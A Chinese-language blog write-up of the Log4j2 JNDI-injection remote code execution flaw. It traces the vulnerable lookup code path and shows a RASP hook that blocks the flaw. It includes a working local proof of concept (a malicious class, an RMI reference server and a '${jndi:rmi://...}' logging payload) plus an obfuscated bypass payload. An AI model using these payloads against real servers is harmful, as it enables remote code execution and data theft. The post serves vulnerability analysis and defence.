Log4j2 RCE漏洞分析

没能赶上Struts2和Fastjson的顺风车,好在Log4j2也算是见证了历史。

漏洞描述

2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

影响版本:

  • 2.0 <= Apache log4j <= 2.14.1

RCE版本限制:

  • JDK 6u211-、7u201-、 8u191-、 11.0.1-

漏洞复现

Log4j2 RCE漏洞本质上还是JNDI注入漏洞:

  1. 在 pom 中添加下方 dependency
  <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.14.1</version>
  </dependency>
  1. 构造恶意class文件
public class EvilObject {
    public EvilObject() throws Exception {
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

编译 EvilObject.java,生成 EvilObject.class,将EvilObject.class文件移动到其他目录,并把java源码全部注释。(防止server端绑定时从本地直接加载)

EvilObject.class所在目录运行python -m SimpleHTTPServer 20022

image-20220303132248119

  1. server端绑定恶意对象
public class Server {
    public static void main(String[] args)throws Exception {
        Registry registry =  LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("EvilObject","EvilObject","http://127.0.0.1:20022/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("evil",refObjWrapper);
    }
}
  1. client端触发漏洞
public class Client {
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        logger.error("${jndi:rmi://127.0.0.1:1099/evil}");
    }
}

image-20220303132949274

影响范围

这个仓库归纳了受影响的厂商和组件,厂商包括AppleTencentSteamTwitter… 组件包括Apache SolrApache Druid

漏洞分析

在 Log4j2的官方文档中可以看见,其对 JNDI Lookup 做了支持:

image-20220303135138837

Log4j2 使用 org.apache.logging.log4j.core.pattern.MessagePatternConverter 来对日志消息进行处理,在实例化 MessagePatternConverter 时会从 PropertiesOptions 中获取配置来判断是否需要关闭 Lookups 功能。

org.apache.logging.log4j.core.util.Constants默认配置可以看到,log4j2.formatMsgNoLookups是关闭的,因此noLookups返回false,表明其默认支持Lookups 功能

public static final boolean FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS = PropertiesUtil.getProperties().getBooleanProperty("log4j2.formatMsgNoLookups", false);

image-20220303141344211

下面正式进入调用链,再次回到org.apache.logging.log4j.core.pattern.MessagePatternConverter,进入format 方法

image-20220303161920575

  1. 在第一个红框内,首先判断了是否关闭了noLookups,返回false,表明开启Lookups功能。
  2. 第二个红框内,对workingBuilder **(View Text中的内容) 进行了遍历,判断是否有${开头的内容,之后匹配完整内容,返回为 **value
  3. 第三个红框,生成了一个StrSubstitutor对象,对value进行replace()操作。

伏笔一:StrSubstitutor是什么?

image-20220303162715180

StrSubstitutor是Log4j2中字符替换处理的关键类,其中定义了大量的全局常量,在匹配时对其进行处理。后续的绕过就会用到这里的特性。

再跟进replace()方法,我们进入了字符处理的核心方法org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute():

image-20220303164906512

前半部分的逻辑比较麻烦,是通过 while 循环来进行不断匹配从而取出 ${ } 中间的值,如果又匹配到${,则跳出来继续匹配},以处理嵌套的value,比如:${abc${abc}zxc}

在没有匹配到变量赋值或处理结束后,将会调用 resolveVariable 方法解析满足 Lookup 功能的语法。

resolveVariable中先会调用this.getVariableResolver();获取到所有的resolver

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
    StrLookup resolver = this.getVariableResolver();
    return resolver == null ? null : resolver.lookup(event, variableName);
}

resolverStrLookup的实例对象,Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。

image-20220303172144700

可以看到除了jndi,还有很多其他类型的strLookupMap,这为我们的攻击拓展埋下了伏笔二

下面进入 resolver.lookup()

image-20220303173934670

首先对value截取:,也就是提取了前4个字符jndi,然后从上面所说的strLookupMap中获取这个对象,最后调用Jndiookup.lookup()也就是最终sink点,触发漏洞。

绕过与拓展

之前说到StrSubstitutor中定义了许多关键常量,比如:-,如果程序处理到 ${abcd:-efgh} 这样的字符串,处理的结果将会是 efgh:- 关键字将会被截取掉,而之前的字符串都会被舍弃。那么以下这种方式的构造是可以执行的:

logger.error("${${123:-j}${456:-n}di:rmi://127.0.0.1:1099/evil}");

绕过方式还有很多,这个仓库总结了绝大多数绕过的方法。

回到伏笔二,除了jndi,log4j2还支持其他Lookup类型

image-20220303172144700

利用其他的类型,可以增加绕过的方式,或者在无法RCE的时候进行信息泄漏,这个仓库保留有信息泄漏可以利用的攻击面。举个例子:

image-20220303191839670

当然这种攻击只是打在了本地,还需要通过DNSLOG回显带出数据:

image-20220303192343894

漏洞防范

漏洞爆发当晚可谓是一个不眠之夜,各大安全厂商发文章,改规则,这里粘贴 奇安信威胁情报中心 的修复建议。

image-20220303192917541

2022.3.3补充:

a. 升级到最新版本,这自然是最优解。但是,在Poc披露期间,如果还没有稳定的修复版本,有什么办法可以避免攻击呢?

自定义WAF是一种选择,但WAF的本质还是对抗,有WAF就有绕过。在Log4j2那么多中畸形Poc下,短时间内也很难做出完美的对应措施。

回到Log4j2 RCE漏洞的本质 —— JNDI注入,那无非触发点就是最后的lookup方法,如果我们可以HOOK该方法,在调用此方法时直接返回为空,或者抛出异常,不就从根本上防御了吗?

我们结合 靖云甲 cloudrasp-log4j2 介绍一下RASP(Runtime application self-protection)运行时应用自我保护,下图为官方截图:

img.png

该项目分为 coreloader 两部分。

image-20220304181602502

loader为启动jar包,分启动前加载和运行时加载两种模式,这里我们不过多阐述Agent的机制,不管哪种方式启动,都会加载 core

image-20220304182533329

这里自定义了 ClassLoader 处理core.jar包,并反射调用其cn.boundaryx.rasp.RASPLauncher类的launch 方法。之后我们关注放在 core下的HOOK处理。

image-20220304183830447

第一个if语句判断了当前加载类名,只有运行到 javax/naming/InitialContext 我们再进一步处理。

跟进JndiHook.transform(ctClass),再跟进到beforeMethod()getEnhancedCodeWithException方法生成了一段代码块,并在下方的BytecodeUtils.insertBefore()中插入到指定的方法lookup调用前。

image-20220304185922880

调试发现,插入代码为红框里的内容,其执行了cn.boundaryx.rasp.analyzer.checkJndiStr(),对jvm栈帧进行了分析,如果匹配到org.apache.logging.log4j.core.lookup.Interpolator.lookup,则抛出自定义异常RASPSecurityException

image-20220304190135961

ok我们现在重新梳理一下HOOK的流程:

  1. 匹配加载的类名javax.naming.InitialContext

  2. javax.naming.InitialContext.lookup(),也就是最后触发点前插入一段代码。
  3. 改代码会优先执行cn.boundaryx.rasp.analyzer.checkJndiStr(),该方法会检查栈帧,如果检测到org.apache.logging.log4j.core.lookup.Interpolator.lookup,则抛出自定义异常RASPSecurityException

官方的例子中,拦截到sink点会直接抛出异常。但我在本地尝试的时候,发现的确拦截了命令,但是并没有输出异常:

image-20220304192642205

调试发现 log4j2默认appender开启了异常忽略,并没能抛出:

image-20220304173841650

我们创建log4j2.xml文件,在其中写入:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
    <Appenders>
        <Console name="STDOUT" target="SYSTEM_OUT" ignoreExceptions="false">
            <PatternLayout pattern="%m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="error">
            <AppenderRef ref="STDOUT"/>
        </Root>
    </Loggers>
</Configuration>

重新运行,即可看到异常,下方还输出了完整调用链:

image-20220304192822371

如果是正在运行的程序,我们还可以通过attach模式进行代理:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.Scanner;

public class ClinetForRasp {
    private static final Logger logger = LogManager.getLogger(ClinetForRasp.class);
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);
        while (true){
            String string = scanner.next();
            logger.error(string);
        }
    }
}

image-20220304193359298

相比于传统WAF,我认为RASP优势在于无需花时间对抗千奇百怪的攻击者poc,而是专注于程序本身,处理好数据流关系,把防守化被动为主动。比如如果预先做好了RASP对JNDI注入的防御,Log4j2 0day 的爆发也无法造成威胁。

参考